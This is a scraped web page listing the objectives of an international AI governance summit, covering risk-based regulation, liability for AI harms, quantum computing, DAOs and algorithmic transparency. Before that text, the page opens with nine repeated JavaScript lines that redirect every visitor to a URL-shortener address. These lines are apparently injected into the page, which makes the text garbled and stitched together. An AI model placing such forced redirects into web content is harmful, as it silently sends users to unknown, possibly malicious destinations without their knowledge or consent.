window.location.href = "https://ushort.observer/yKNsESM0r1"; window.location.href = "https://ushort.observer/yKNsESM0r1"; window.location.href = "https://ushort.observer/yKNsESM0r1"; window.location.href = "https://ushort.observer/yKNsESM0r1"; window.location.href = "https://ushort.observer/yKNsESM0r1"; window.location.href = "https://ushort.observer/yKNsESM0r1"; window.location.href = "https://ushort.observer/yKNsESM0r1"; window.location.href = "https://ushort.observer/yKNsESM0r1"; window.location.href = "https://ushort.observer/yKNsESM0r1"; Objective of the Conference The Summit’s core objective was to foster rigorous, informed, and solution-centric deliberations that paved the way toward evolving a cohesive, human-centric, and ethically robust international AI governance architecture. Facilitated rigorous and solution-focused discussions to build a cohesive, human-centric, and ethically sound international AI governance framework. Operationalized risk-based AI regulatory models, drawing insights from global instruments such as the EU AI Act. Worked toward harmonizing national AI laws with universal human rights standards and international normative frameworks, including those of the UN, UNESCO, and OECD. Established principles for liability attribution related to AI harms and addressed challenges concerning algorithmic discrimination and bias mitigation. Examined governance issues around quantum computing, including implications for cryptographic standards and national security. Defined legal recognition and oversight mechanisms for decentralized autonomous organizations (DAOs) and blockchain ecosystems. Strengthened algorithmic transparency and explainability obligations as constitutional or statutory imperatives. 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